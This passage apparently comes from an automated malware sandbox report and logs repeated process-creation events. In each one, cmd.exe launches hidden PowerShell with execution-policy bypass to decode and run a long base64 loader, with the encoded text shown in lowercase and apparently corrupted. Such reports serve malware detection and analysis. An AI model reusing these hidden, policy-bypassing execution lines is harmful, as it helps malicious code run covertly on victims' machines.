4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0fJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcef